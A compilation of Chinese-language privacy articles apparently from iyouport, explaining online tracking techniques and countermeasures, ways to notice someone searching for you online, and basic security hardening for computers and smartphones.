最普遍存在多少，网警、警察和情报机构使用在线提供的公共信息来获取有关其目标的情报。以及，社交工程师和黑客实施跟踪监视，是为了制定最有针对性的攻击计划。

从公共资源获取的信息被称为开源情报（OSINT），它指的是所有可公开获得的信息。OSINT来源与其他形式的情报有所区别，因为它必须在不违反任何版权或隐私法的情况下合法地获得。

- 在这里看到情报分类和详细解读《“谷歌地图”是比詹姆斯邦德更棒的间谍》

⚠如果作为调查者，你的目标对象发现你正在搜索他/他们怎么办？如果他们可以了解你（搜索者）的来源、背后的组织、以及搜索者的位置或身份，怎么办？他们会对你做什么？

你必须警惕这点。因为在互联网上隐藏身份不是在现实中戴墨镜假发那么简单。

⚠在进行开源情报搜索过程中如果暴露了搜索者的身份，可能会在许多情况下带来严重的危险，甚至法律后果。

相同的问题也适用于商业领域，考虑一家寻求进入新市场的公司，如果在同一领域工作的其他竞争者发现了该公司的搜索调查行为，会发生什么？

保护操作的隐私安全性是开源情报调查成功的关键。

本文分为两个部分，首先探讨“在线跟踪”的概念，并介绍用于跟踪在线人员的不同技术方法，以提出相应的对策。

许多开源情报初级从业者认为，使用VPN服务足以隐藏其在线跟踪——这是完全错误的。

使用可靠的VPN只会隐藏您的IP地址，而对于跟踪您的任何跟踪器来说，您的其他数字足迹都是显而易见的。

完全的在线匿名性非常难以实现。要成为完全匿名的在线状态，您需

要使用一套工具和策略来隐藏任何可以揭示您的身份甚至是用于访问互联网的硬件和连接类型的踪迹，并且这需要一些认真的技术技能。

只有与外国间谍活动有关的那种等级的案件才需要这种匿名性，通常由非常了解如何隐瞒其搜集活动的情报机构进行。而不是公民调查者。

但是，出于进行常规开源情报收集活动的目的，您需要匿名化到适当的级别，以使目标无法发现您正在尝试查找有关他们的信息。

本文的第二部分将介绍各种在线跟踪技术、以及如何使用大量工具和策略来对付它们，并且将提出一种解决方案，允许在线的任何人使用虚拟设备将其浏览活动与本地网络和基础设施隔离开来。

什么是在线跟踪？

「图」

在线跟踪可以定义为追踪记录跨不同网站的互联网用户的互联网浏览历史记录、有时是在线行为的过程。

为了将浏览历史链接到目标用户，将使用标识符将每个在线用户区分为可以跟踪的个人。

该标识符类似于人的指纹，因为它可以在数百万个已连接的用户中区分出特定的用户设备。

下一节将演示在线跟踪在技术上如何工作。

在线跟踪技术

「图」

在线跟踪通常利用以下一种或多种方法：

1、IP地址跟踪

没有IP就无法联网，IP地址是唯一的标识符，用于在连接到互联网时标识任何具有联网功能的设备。

没有两个设备可以在同一IP网络上拥有相同的IP地址，这使得IP地址成为在线跟踪用户的首选。

连接到 Internet 时，您要么每次使用相同的IP地址（静态IP），要么每次使用不同的数字（称为动态IP）。

静态IP地址是您的互联网服务提供商（ISP）分配的地址，不会随时间变化；相反，每当您连接到互联网时，ISP都会分配一个动态IP地址。

每次重新启动计算设备或路由器时，它都使用一种被称为动态主机配置协议（DHCP）的东西为您分配新的IP地址。一些ISP可能会多次分配以前分配给您的相同IP地址，但这不是经验法则。

请注意，使用不同的技术（例如VPN和TOR网络之类的匿名网络）上线时，可以伪造（隐藏）IP地址。用户还可以使用NAT路由器，它使所有属于同一网络的设备都共享一个公共IP地址。

- 关于Tor 《当搬石头砸脚遇到“运动死亡”—— 洋葱头会让谁流泪？（一）》
- 《追求正义的人应该加强反侦技巧 —— 洋葱头会让谁流泪（二）》
- 《真的安全吗？那么他们是怎么抓人的？—— 洋葱头会让谁流泪（三）》
- 《请关上身后的门，除非你想把刀递给敌人—— 洋葱头会让谁流泪（四）》
- 《如何在你的网页浏览器中使用Tor网络？》
- 《使用 Tor 保护自己时千万不要做这九件事！》

由于这些原因，我们不能仅考虑一个IP地址就足以定位当今互联网上的单个在线用户。但是，它仍然是在线跟踪目标人的首选。

要了解如何选择VPN提供商，可以参见《安全手册》；要了解如何判断VPN的安全性，可以参见这里《如何验证您的 VPN 连接是否安全？》。

2、Cookie 追踪

Cookies 是跟踪在线用户的最常用技术，如今家喻户晓。

Cookie 是用户访问特定网站时创建的小型文本文件，其中包含的标准信息包括区分客户端设备的唯一ID、有效日期、和Cookie网站名称。

当再次返回同一网站时，cookie 用于判断客户端设备。网站使用 Cookie 的主要目的有两个：存储登录凭据、和跟踪用户的在线行为。

大多数人在谈论 Web cookie 时都意味着一个基本的 cookie 文件（也称为 HTTP cookie）。HTTP cookie 是一个简单的文本文件，用于跟踪用户对部署它的网站的访问。

关闭浏览器时，过期的 HTTP cookie 会自动删除。但是，到期日期可能是未来的很多年。就 cookie 的寿命而言，主要有两种类型：会话cookie和持久cookie。

会话Cookie存储在临时内存中，并且在用户关闭浏览器时将被擦除，此类Cookie没有到期日期，并且不存储有关用户客户端设备的任何信息。它通常用于维护电子商务网站中的购物车内容。

持久Cookie（例如 Flash 和 evercookie cookie）引起了严重的隐私问题。

Cookie 的内容中有一半是第一方的，属于您访问的网站，另一半是第三方的，属于合作伙伴，服务或与网站合作的广告商。

第三方 Cookie 用于（跨多个网站的）跟踪活动，并识别频繁访问和回访的访问者，以根据Cookie的历史记录量身定制内容或优化广告或改善用户体验。持久 cookie 的两种主要类型是 Flash 和 Evercookies。

与具有有效日期并存储在客户端硬盘驱动器上特定文件夹中的传统cookie文件相比，Flash Cookies 具有更高的持久性。仅删除网络浏览器的 **cookie** 文件夹不会删除此类型的 **cookie**。

Flash cookie 用于存储用户在多个网站上的浏览历史记录，可以用来重新实例化用户删除的 HTTP cookie。

要访问存储在计算机中的所有 Flash cookie（在Windows下），请转到“控制面板”➤“ Flash Player”，然后选择“阻止所有站点在此计算机上存储信息”选项（参见下图）。

还可以使用一个工具来显示系统中存在的 **Flash cookie** 列表并将其删除，**FlashCookiesView** 是为此目的创建的便携式工具。

Evercookies Cookie：根据开发人员 Samy Kamkar 的说法，evercookie 是基于 JavaScript 的 cookie，即使用户从其计算机中删除了 **HTTP** 和 **Flash cookie** 之后，它也可以存在。

它通过将数据存储在客户端浏览器/计算机上的多个位置（例如，

HTTP cookie，Flash cookie，HTML5本地存储，Web历史记录，Silverlight）来实现其持久性。

例如，如果这些位置之一被用户删除，evercookie 将检测到该位置并自行重新生成。幸运的是，现代的网络浏览器能够阻止或检测 evercookies。

3、ETag 追踪

ETag 是不使用 Cookie（HTTP和Flash）、JavaScript、HTML存储、或IP地址而跟踪用户的另一种方法。

ETag或实体标签是超文本传输协议（HTTP）机制的一部分，该机制提供Web缓存验证，并用于控制特定文件在客户端缓存的时间。

ETag帮助Web浏览器避免两次加载相同的Web资源，例如，当用户访问在后台播放音乐的网站时，它会根据用户的本地时间而改变。

如果ETag不同，则客户端浏览器将下载新版本的音频文件。

可以利用 **ETag** 以类似于持久**cookie**的方式跟踪用户，并且，即使服务器上的内容不变，跟踪服务器也可以不断将ETag发送到客户端浏览器。这样，跟踪服务器可以与客户端计算机保持无限期持久的会话。

要摆脱 ETag，必须清除浏览器缓存内容。

4、数字指纹追踪

浏览器指纹是有关用户系统和浏览器的一组技术信息，可以在线区分其机器。

此信息包括以下内容：浏览器类型、操作系统（OS）版本、安装的附件、用户代理、安装的字体、语言设置、时区、屏幕大小和颜色深度等。

即使禁用了 **cookie** 和 **JavaScript**，指纹也可以使跟踪器区分用户的机器。

浏览器指纹识别是无状态的，对用户和计算机都是透明的。

从数字指纹收集的信息看似通用，不足以在线识别数百万个已连接设备中的单个计算机；但是，如果将这些信息组合在一起，则可以绘制

有关每台用户计算机的全面而独特的图景，此后，如果将其与其他个人身份信息（**PII**）组合在一起，则可以将该信息追踪到真实身份。

这应该有效地允许不同的外部方在不使用传统跟踪技术（例如计算机IP地址和cookie）的情况下轻松地对目标人进行描述。

- 更多见《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

得出的结论是，仅使用浏览器中的少量技术信息就可以在线配置和跟踪大多数互联网用户。

设备指纹识别主要有两种类型：基于脚本的和基于画布的。

基于脚本的指纹 ——

脚本指纹通过将脚本（通常为 JavaScript）加载到用户的浏览器中而起作用。成功加载脚本后，它将执行以提取有关当前浏览器和系统配置的大量技术信息。

提取的信息包括用户代理、已安装的附件/扩展程序、已安装的字体、屏幕分辨率、时区、操作系统类型和版本、CPU和GPU类型、以及有关目标系统的许多其他详细信息。

然后根据脚本收集的信息进行哈希处理。该哈希值可以识别和跟踪您的设备，就像**IP**地址一样。

跟踪器使用 Flash、Silverlight 或 Java applet 代替 JavaScript 来执行指纹识别。他们都将返回相同的结果。

抵制此技术的主要方法是在浏览器中禁用 JavaScript。但是，这种方法不切实际，并且可能导致破坏大量网站（大多数Web设计框架现在都基于 JavaScript 来提供功能）。

禁用 **Java**（参见下图）不会导致诸如禁用 JavaScript 之类的问题。

「图」

画布指纹 ——

Canvas 是最初由Apple开发的 HTML5 元素；它用于使用 JavaScript API 在网页上绘制图形（线条、形状、文本、图像）和动画（例如游

戏和横幅广告）。广告客户可以利用画布功能识别和追踪用户。

画布指纹追踪是一种跟踪用户在线活动的新方法。只需在用户的客户端浏览器上绘制不可见的图像即可。

该图像对于每个用户而言都是不同的，一旦绘制在客户端浏览器上，它将收集有关用户浏览器和计算机的不同技术信息。然后根据已收集的信息进行哈希处理。

该哈希值将在用户访问的所有网站上保持一致（哈希值是从画布数据生成的）；这将有效地记录用户的浏览历史记录。

尽管不能单独使用从画布指纹中收集的信息来识别用户，但是，可以将此指纹与其他来源结合使用，以完全地识别您。

浏览器指纹追踪的对策

「图」

当前，指纹识别被认为是用户在线冲浪时面临的最大风险。

为了了解如何才能阻止这种入侵以保护我们的隐私，首先来看看您当前的数字指纹正在向追踪者展示些什么内容。以下是免费提供此类服务的流行网站。# Panopticlick (https://panopticlick.eff.org)

- DeviceInfo (https://www.deviceinfo.me)
- Browserleaks (https://browserleaks.com)
- AmIUnique (https://amiunique.org)

1. Privacy Badger—block invisible trackers (https://www.eff.org/privacybadger)

- Disconnect—Block invisible websites (https://addons.mozilla.org/en-US/firefox/addon/disconnect)
- uBlock Origin—another efficient blocker (https://addons.mozilla.org/en-US/firefox/addon/ublock-origin)
- HTTPS Everywhere—encrypts your communications with many major websites, making your browsing more secure (https://www.eff.org/HTTPS-EVERYWHERE)
- CanvasBlocker—Alters some JS APIs to prevent fingerprinting (https://addons.mozilla.org/en-US/firefox/

addon/canvasblocker)
- Cookie AutoDelete—Automatically delete cookies upon tab closes (https://addons.mozilla.org/en-US/firefox/addon/cookie-autodelete)
- Decentraleyes—Block Content Delivery Networks (https://decentraleyes.org)
- uMatrix—A point-and-click matrix-based firewall, with many privacy-enhancing tools (https://addons.mozilla.org/en-US/firefox/addon/umatrix)
- User-Agent Switcher—switch between popular user-agent strings (https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher-revived)

1. 在栏目中看到更多具体介绍："关于 Facebook：这不只是一家公司"

- "关于苹果、微软和Twitter"

1. 使用可靠的VPN服务隐藏IP地址。

- 关闭浏览器后，删除（或拒绝）cookie和Web浏览器缓存。
- 防止数字指纹技术对计算机进行描述。

1. 在这里回顾用于开源调查的虚拟机配置教程《构建你的自定义OSINT机器（第一部分）》"第二部分"、"第三部分"、"第四部分"，"第五部分"

通过使用此技术，您的浏览器将看起来像大多数正在运行的浏览器，从而有效地隐藏了您的真实数字足迹。

当然，您仍然需要使用VPN来加密您的连接并隐藏您的真实IP地址。

尤其推荐匿名工具 **Whonix**，您可以在这里看到安装使用教程。○

原文

AS36 如何知道有人正在线人肉你？6个简单的方法 - iyouport

护盾（AS）

【2020年3月24日存档】追踪和反追踪用的是同一套方法，这或许就是这个互联网最有趣的地方 —— 正义和邪恶，谁掌握的技能多，谁就能获胜

还记得我们介绍过的自我人肉技巧吗？这是为了帮助您在被恶意者挖到之前先自己找到泄露的细节并删除它们。您可以在下面回顾：

- 《自我人肉（1）基本方法》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

如果您曾经尝试做过，就会知道，在几乎任何地方都有可能挖到关于您的真实身份信息 —— 其中也许包含很致命的信息，如果落在恶意者手里，将对您非常不利。

那么，您如何才能得知有人正在网上人肉你呢？幸运的是，其中大多数资源都具有监视服务，您可以在有人搜索您的名字和相关重要信息时使用该服务来获取警报。

本文将介绍一些非常简单的操作，您可以设置警报或监视其他人何时使用互联网查询您的名字。一共6个部分。

从最简单的开始。

1、LinkedIn个人资料视图

任何人都可以从 LinkedIn 内搜索您的名字，并以这种方式访问您的公开个人资料信息。

我们介绍过 **LinkedIn** 追踪的方法，在下面回顾：

- 《如何从求职网站快速追踪挖掘情报：高级LinkedIn搜索》

- 《把 LinkedIn 作为情报挖掘工具：简易指南》

LinkedIn 为会员提供了一种轻松的方法，以了解谁查看了您的个人资料。

要查看此信息，请登录您的 LinkedIn 帐户。在屏幕左侧的个人资料名称下，您会看到一个名为谁查看过您的个人资料的链接 。

在链接的右侧，您可以查看最近有多少人查看了您的个人资料。要查看更多详细信息，请单击链接。

向下滚动到 “All profile viewers” 部分。在这里，您将看到有关谁最近查看了您的 LinkedIn 帐户的一些详细信息。

这些信息包括：

- 名字
- 受雇的的公司
- 他们如何找到你的个人资料
- 您的 LinkedIn 人际关系中的哪些也与此人有关
- 他们在多久前查看了您的个人资料

不幸的是，您看不到查看过您个人资料的人的整个列表，除非购买高级LinkedIn会员。

如果您确实需要知道谁在查看您的 LinkedIn 个人资料，那么该高级会员身份可能是值得的。

⚠调查人员任何避免这点？—— 当然是使用袜子木偶账户进行调查，即便目标人发现了你，他也不知道你是谁。在下面看到具体做法：

- 《某些行动者，你需要一个袜子木偶》
- 总—基础知识《摆脱追踪者：您的行动必须是匿名的，否则没有可持续性》

2、为您的名字创建 Google 提醒

人们用来在互联网上查找有关您的信息的最常用工具是Google。我们介绍过谷歌在深度调查方面的用法：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》

- 《一个搜索统治一切：调查用心而非技术》

虽然您可能无法监视是谁在使用Google搜索你的名字，但是你可以监视何时有人开始挖你。

您需要一个提醒，以便在任何提及您名字的内容被创建时及时提醒你，请访问 Google Alerts。

确保您已经登录了Google帐户。在 “**Create an alert about**” 字段中，键入您的名字或者最常用的昵称再或者最关键的信息 —— 你知道自己最在乎什么，然后选择 “创建提醒”。

每当您将任何内容添加到 Google 提醒列表时，或者任何时候对包含您的姓名的网站进行新的搜索时，您都会收到一封有关该 Google 提醒的电子邮件。该电子邮件将包含指向提及您名字的网站的链接。

您会注意到，在电子邮件的底部，您可以单击链接以RSS提要的方式接收提醒。这将使您可以将提要添加到您可以使用的任何种类的提要阅读器中。

☆作为调查人员，如何避免被调查目标发觉？—— 很简单，不要用谷歌，使用更加私密的搜索引擎。在这里看到大全《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》。

3、Facebook Story Viewers

Facebook 用户最常见的要求之一是想要知道谁查看了他们的 Facebook 个人资料。不幸的是，没有办法直接做到这一点。

但是，在 Facebook 的某些区域中，您可以看到访客。

如果您定期发布 Facebook 帖子，那么知道谁查看过您帖子的唯一方法是有多少“点赞”该帖子的人。可惜这不是准确的。

但是，当您添加到 Facebook Stories 时就不是这样了。如果您选择该字段来输入 Facebook 帖子，您会注意到可以将帖子从 “**News Feed**” 切换到 “**Your Story**”。

您可以将最多20秒的视频（或图像）发布到您的 Facebook Story 中。该信息将保持活动状态24小时，然后消失。

发布后您会注意到一个眼睛图标显示在该帖子的左下角，旁边有一个

数字。

该数字代表的是查看过该帖子的 “朋友” 的数量。如果单击那个眼睛图标，则可以看到查看过该帖子的人都是谁。

如果您查看 Facebook 新闻源，那么在右侧可以看到指向您的故事的链接。

在左侧，您会看到带有＋符号的个人资料照片。如果单击此按钮，可以查看所有最近的故事帖子，以及哪些朋友已查看这些帖子。

不幸的是，Facebook 没有为常规帖子提供此功能，但是至少在您发布到 “Story” 列表时，您可以看到所有查看过该帖子的朋友。那么很简单，您认为重要的内容就这样发布吧。

关于利用 Facebook 进行调查追踪的方法和工具有非常多；

- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》
- 提醒防御《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 不要错过《在互联网上识别和追踪一个人的基本方法》

4、Facebook 好友算法

虽然看不到查看过您的特定 Facebook 帖子的朋友列表，但是可以通过间接的方式查看哪些朋友与您的 Facebook 个人资料互动最多。

如果发现可疑的莫名其妙的账户，拉黑TA。

没有人真的知道 Facebook 在好友列表中显示好友的顺序的具体细节。但是进行足够的研究后会能知道，它至少考虑了以下所有这些因素：

- **Facebook** 互动：您与这些朋友在 Facebook 上互动的频率。
- 个人资料查看：这些朋友查看您的个人资料的频率、或您查看他们的个人资料的频率。
- 照片标记：在照片中添加了您的标签的朋友。
- **Wall Posts**：在你的时间线上发布的朋友。
- 点赞：他人点赞您的信息的频率，或者您点赞他们的信息的频率。
- 评论：您或朋友对彼此的帖子或图片发表评论的频率。

- 照片：你们查看彼此照片的频率。
- 在线：如果朋友当前在线，则更有可能出现在您的朋友列表的顶部。

由于 Facebook 上最常见的活动是查看目标人的个人资料和帖子，而无需与他们进行互动，所以，您能看到的朋友列表顶部的显示的人是最常查看您的个人资料和帖子的人。

5、Twitter Viewers

与 Facebook 相比，Twitter 提供了更多有关 Twitter 关注者的信息，但仍未提供正在搜索您的人的姓名。

但是，您可以了解到有关与您的推文进行交互的人的很多信息。

要查看您的受众信息，您需要使用 Twitter Analytics。您可以通过单击个人资料名字旁边的向下箭头并选择 Analytics（分析）来访问它。

此页面将向您显示您的主要关注者是谁，以及所有推文的总体效果。

您可以单击查看关注者仪表板，以查看有关您的 Twitter 受众的常规详细信息。

您可以看到一些统计信息，例如性别、家庭收入和关注者的兴趣；这可能不会告诉您在 Twitter 上寻找您的人究竟是谁，但至少可以告诉您他们的兴趣倾向，以便您可以为关注者量身定制发布的主题。

⚔对于调查人员来说，袜子木偶依旧是好的选择 —— 尤其是当您的调查对象是政府高官、僵尸牧民、信息战领军者等等，他们可能有很好的反侦察防备，所以您必修保护好自己的匿名性。

关于通过 **Twitter** 进行开源情报调查的一些常规有效技术，在下面回顾：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《如何可视化推特对话：极简小工具》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全

面指南》
- 《如何在Google表格中保存任何你想要的推文？调查者和分析师的工具》

6、使用 **Google Analytics**（分析）创建个人资料网站

很多平台可以让你轻松建立自己的个人资料网站，其中包含有关您的背景和经验的信息。

个人资料网站是一种与潜在的雇主轻松分享您的背景和职业经历的绝佳方式。

如果您已经为自己的名字购买了一个网站域名，那么当人们搜索您的名字时，它也将成为最热门的搜索结果。

这将成为大多数人在网上寻找您时可能会点击的链接。

如果您将 Google Analytics 嵌入到此网站中，则可以收集有关在网络上查找有关您的信息的人员的大量信息。

Google Analytics 可能不会提供访问您网站的人的姓名，但是您可以了解其他任何信息。例如以下这些：

- 年龄
- 性别
- 国家/地区
- 兴趣
- 访问频率
- 使用的搜索字词

这些信息可以使您深入了解在线搜索您的人的类型。

如果您是作家或从事向人们提供信息的任何其他公司或公民社会组织，那么这些信息可以帮助您和组织调整您的发布，以便令受众群更满意。简单说就是营销思路。

IYP不使用营销思路，我们提供的内容都是根据我们的民主经验认为成为一个合格公民所需要掌握的技能、知识、和技巧。

谁在找你？

如您所见，LinkedIn 和其他社交媒体网站是查看特定在线搜索对象的

最佳方式。但是 Google 提醒和您的网站也可以提供更多见解。

您采用哪种方法取决于您想了解目标对象什么样的信息。当然，最有效的永远是开源情报调查 —— 并不是所有人肉贩子都擅长完美的袜子木偶；糟糕的袜子比比皆是，挖出其背后的真实身份可能不难。

简单说就是反向追踪：Watching The Watchers。所有技巧方法参见我们的 “开源情报” 栏目。易于追踪是这个互联网的本性，追踪技术被谁掌握，将决定它是正义还是邪恶。

你是好孩子，你应该比那些坏家伙懂得更多，能力更强。这样我们才能做到以正压邪。加油。〇

原文

AS37 返回基础知识：普通人如何强化智能手机和计算机的安全性 - iyouport

护盾（AS）

【2020年5月22日存档】这里是您最基本应该做到的

信息安全专业人员撰写的文章经常会服务于已经对网络安全原理有高度了解的同行。

如果您正在写技术白皮书或其他内容，那么会很好，但是，我认为对于每天使用电脑和手机的普通用户而言，他们需要的是任何人都可以采取的步骤以加强计算机和智能手机的安全性。在这方面，专业人士做得不够好。

本文希望在这方面提供一些帮助：您的个人信息和电子设备的基础安全性。

本文侧重于基础级指南，重点关注各种技能和知识水平的互联网用户的相关基本网络安全做法，对日常普通用户很有用。

正如定义所指出的，强化某些东西是为了使其更安全以免受攻击。这就像使房屋免受飓风侵袭，或为军事车辆增添重型装甲以防弹。

房屋或车辆可能仍会遭受一些损坏，但是重要的是，风暴或袭击结束后，房屋或车辆在保护房屋内的所有物品的同时，仍可以做到功能正常。

基本计算机安全原理

「图」

作为计算机技术的日常用户，您必须对正在使用的系统和设备的安全概念和原理有一个基本了解，不需要深入，以便知道它们为什么存在以及如何帮助提供多种功能。这样您就可以利用它们来进行基本安全防御了。

- 机密性 —— 保护信息免遭未经授权的访问
- 完整性 —— 信息保护防止未经授权修改数据
- 可用性 —— 保护您访问信息的能力

上述模型是网络安全的基础。当然，还有很多，但不要让事情复杂化。

每当您考虑计算机、应用程序、智能手机、平板电脑或任何类型的电子设备时，都可以将其置于上述模型的环境中，并为它们分配风险级别，例如中低至高。

在家用计算机浏览器上查看 Facebook 的机密性风险是否处于低、中或高水平？您需要能根据您自己的具体区别尽可能准确地回答这些问题。

请注意，您访问的每个网站都将需要跟踪您的使用活动和偏好的 cookie。

众所周知，即使用户关闭了 Facebook 浏览器选项卡，某些 Cookie（例如 Facebook 的 cookie）也可以跟踪您的浏览器活动 …… 所以，要当心。

重复同样的问题以获取对完整性和可用性的判断，您将能获得想法；在很多情况下，您需要能比较，上述安全模型中的三根支柱中哪一根对您来说在当前情况下最重要？也就是合理地权衡。

如果用户最关心的是能够访问其数据（即可用性），那么他们可能更愿意接受较少的完整性和机密性，因为在安全性方面，任何技术都总会取舍。

删除所有不必要的应用程序

「图」

通过删除不必要的软件应用程序来减少计算机的攻击面。

卸载您不需要或不常用的所有应用程序，在智能手机上执行相同的操作。但是，其中有些已经进入了操作系统，这需要更高级的技能和知识来消除。

例如，Windows 操作系统预装有许多用户不知道的 “膨胀” 软件，手机也一样。

可以将计算机和智能手机上运行的每项服务和应用程序视为唯一的攻击途径。所以，卸载不使用的程序，否则，如果存在可以利用的未修补漏洞，它们就会变成攻击者的门户。

所有类型的操作系统都具有类似的漏洞。 Mac 用户曾经认为 Mac 没有病毒或恶意软件，然后网络罪犯开始将注意力集中在该操作系统上了 ……

- 《2019年最好的 Mac 杀毒软件是什么？》

最低特权原则

「图」

最低特权就是听起来的那样。它仅涉及为用户提供执行任何与工作相关的任务所需的最低访问权限。

现在网络上存在着一些真正危险的威胁，例如掠夺性天敌、网络欺凌、和金融诈骗，那些不那么明智的人更容易陷入危险。

尤其是如果您家里有孩子的话，请注意设定最低权限，以避免小孩的误操作。

纵深防御

「图」

1、请定期确定是否需要安装更新以确保计算机的操作系统是最新的。

2、Anti-Virus- Avast 具有出色的免费版本 —— 但现在 Avast 被曝光将用户私密数据出售以盈利，请谨慎考虑该公司的服务。实际上，任何顶级的AV供应商都可以做到这一点。您只需要做好定时检查，因为每天都有成千上万的新恶意软件被释放出来。

3、像免费版本的 Spybot 这样的反间谍软件也可以考虑。

- 《5 个最好的免费开源反病毒工具 PC版》
- 《2019年最好的 Mac 杀毒软件是什么？》

更改默认帐户密码

「图」

实际上，您应该在家用 Wi-Fi 路由器或任何电子设备上要做的第一件事就是更新固件并更改其上的默认密码。

请记住，您将其连接到互联网了，世界上任何地方的人都可能会扫描它的漏洞。如果他们发现您使用的是默认密码，他们就会侵入您的路由器和系统。不要让这种事情发生！

启用自动更新

「图」

这是很不言自明的。经常更新软件，否则将遭受漏洞利用的后果……保持最新状态的最佳方法是启用自动更新。

使用密码管理器

「图」

使用长密码或更复杂的密码仍然是一种最佳做法，但也不要忘记，不可以两次使用相同的密码，这一点同样重要！

那么应该如何记住所有这些密码呢？使用信誉良好的密码管理器服务，例如 1Password 或 LastPass，两者均提供免费服务级别。

您只需要设置一个非常好的密码短语，即 “主密码”，它将用作解密密钥以解锁其余所有密码。

有些人不赞成这个概念，因为将所有“鸡蛋”放在一个篮子里似乎非常危险，但是密码管理器和其他任何密码存储方法一样安全。

请勿在浏览器中启用保存的密码！

这只是邀请黑客来入侵。实际上任何以未锁定状态接触您的计算机的人都可以在浏览器中访问您的密码。如果攻击者能够通过恶意软件或其他方式远程破坏您的计算机，他们就很容易访问这些密码。

KeePass Password Safe 是可与您的计算机和手机一起使用的另一个选项。

KeePass 的不同之处在于，您可以将密码管理器应用程序下载到计算

机或智能手机上（或同时下载到这两者），然后将所有密码本地保存在 C:\ 上的加密库中，这比将其存储在网站中或者写在纸上更好。

写下密码并非完全不安全，但是大多数人都很懒，只是将它们放在计算机旁边或键盘下方。尽管这似乎是“简单”的选择，但是显然，非常不安全，如果您在工作中这样做，很可能会受到纪律处分。

使用密码管理器的最有利效果之一就是更改密码非常容易。您想要一个50个字符的密码，包括大小写字母、数字和符号吗？没问题。这里有大把的选项提供给您。

此外，还有一些内置功能可以测试您的密码的强度，并检查是否在其他地方重复了密码 —— 如果是，可能使攻击者在不同的网站上执行“凭证填充”。

您肯定不希望发生这种情况，因此最好立即养成对拥有帐户的每个网站使用唯一密码的习惯。

还要记住，在互联网上，少即是多。如果您不那么必须在网站上创建帐户或输入个人信息的话，那么就坚持不输入任何东西！

您不知道网站所有者如何保护您的个人信息的安全性，或者是否有恶意的内部人员窃取或泄漏敏感数据。所以，您发布的有关您自己的信息越少，您的隐私就越好。

- 请注意：《你不应该在社交媒体上说的话》

使用双因素身份验证

「图」

这一点应该不用多说，但是很多人似乎很难采用这种最佳实践。

密码是一种较弱的保护形式，一直以来都是，但直到最近技术进步才允许实施更强的安全措施。

已经2020年，如果您仍然仅仅依靠密码来保存所有在线机密，那么您肯定有点过时了。

是的，密码是第一道防线，但是要聪明一些，花2分钟的时间在您的帐户上设置2FA，尤其是对于真正重要的帐户，例如网上银行、电子邮件等。

请注意，不要通过短信或电子邮件发送验证码，您应该使用物理密钥或身份验证APP，原因见：

- 《如何使用社交工程来攻击 2FA？》

防火墙

「图」

如果您要连接到互联网，则使用某种类型的防火墙非常重要。防火墙可以阻止可能有害的恶意软件攻击您的系统。

大多数操作系统都带有自己的防火墙，但是您也可以下载和配置 pfSense 等免费版本。

如果您使用的是 Windows，则最好使用操作系统随附的 Windows Defender 防火墙。

如果您喜欢使用其他AV产品，例如 Avast Premium Security、MalwareBytes 或 Kaspersky，则在安装它时，必须授予它管理防火墙设置的权限。但是，您仍然可以根据需要修改设置，也可以使用默认设置。

不用时锁定计算机或设备

「图」

物理安全性是计算机安全性的重要组成部分。如果缺少了它，其他计算机安全概念都可能失败。

因此，每当您从办公桌上或在公共场所起身离开时，请确保习惯于锁定屏幕。要解锁计算机，需要输入正确的密码或PIN码（提示：请勿使用“ Password1”或类似的密码）。

当心可疑的电子邮件、附件和链接

「图」

是的，只需在电子邮件或网站上一次错误的点击，就可以用恶意软件感染您的计算机或智能手机。

因此，在打开您不信任的任何发件人发送的电子邮件时，请务必谨慎 —— 保持科学的偏执是正确的。

另外，切勿打开您不认识的发件人发送的电子邮件附件。实际上，即使是来自您信任的发件人，也要养成一个习惯，即：首先使用防病毒/反恶意软件工具扫描文件，确认安全后再下载并打开。

像对待计算机一样对待智能手机

「图」

许多人不认为智能手机是一台计算机，但事实上它就是。

现代技术的飞速发展已经将台式计算机的强大功能带到了您的掌中，但请不要误会 —— 它不是电话，它就是电脑。

智能手机就像计算机一样容易受到骇客、病毒和恶意软件的攻击，因为它们同样是具有处理器芯片、内存、操作系统和应用程序的计算机。

如果您拥有像当今世界上许多人一样使用的智能手机，那么几乎您的一生都已经聚集在这台微型的计算机中，它可以打电话、具有GPS导航、数码录音机、拍照和录像功能、视频聊天、做笔记、听写、有闹钟、计算器、计时器、玩视频游戏、上网、个人助理、网上银行、手机支票存款、小型企业芯片卡读取器、访问云存储应用程序 …… 清单继续 ……好吧，您明白了？

人们使用智能手机的方式永无止境。如果没有智能手机，许多人将完全迷路，这就是为什么当我看到有人将智能手机置于不受保护状态和/或将其放置在任何可供他人窃取或翻阅的地方时，我会深感困惑。

您应该将智能手机视为您的个人身份的数字网关。你不想被恶意者盗取身份对吧？

请记住，这是一台装有易失性和非易失性储存器的微型计算机，以及一个操作系统；那么您应该在其上安装防病毒软件以保护它免受病毒和恶意软件的侵害。

1、启用全盘加密（FDE）—— iPhone 有预置的 FDE，但对于Android用户来说，您可能需要手动，通过导航至“设置”」」“生物识

别和安全性”」」“安全启动”」」“开启设备时要求输入PIN码”（取决于您的Android版本，可能会略有不同）。

您可能希望使用8位PIN以提高密码强度。您可能还需要输入密码才能解锁手机，但密码可能很快会过时。即使是8位数的PIN也无法保护您免于暴力攻击。

2、启用某种类型的屏幕锁定，PIN、密码、生物指纹。

PIN码安全性最强的是8位PIN码或密码，请记住，每次解锁手机时都将需要输入此PIN码或密码。

您还可以设置屏幕锁（例如指纹或几何形状），关键是要保护您的智能手机，以便其他人无法随便拿起它就可以打开。

再次强调，本文是给普通人的。这种方法可能无法阻止经验丰富的骇客和政府间谍，但是对小偷和偷窥狂来说，还是有效的。

- 《如果警察抢走你的手机，或你与骇客同乘电梯…… 3分钟无需解锁实现入侵》

3、如果您的智能手机被盗，请启用远程擦除。方法如下：

- 《如何保持 Android 设备免受警察的侵害》
- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

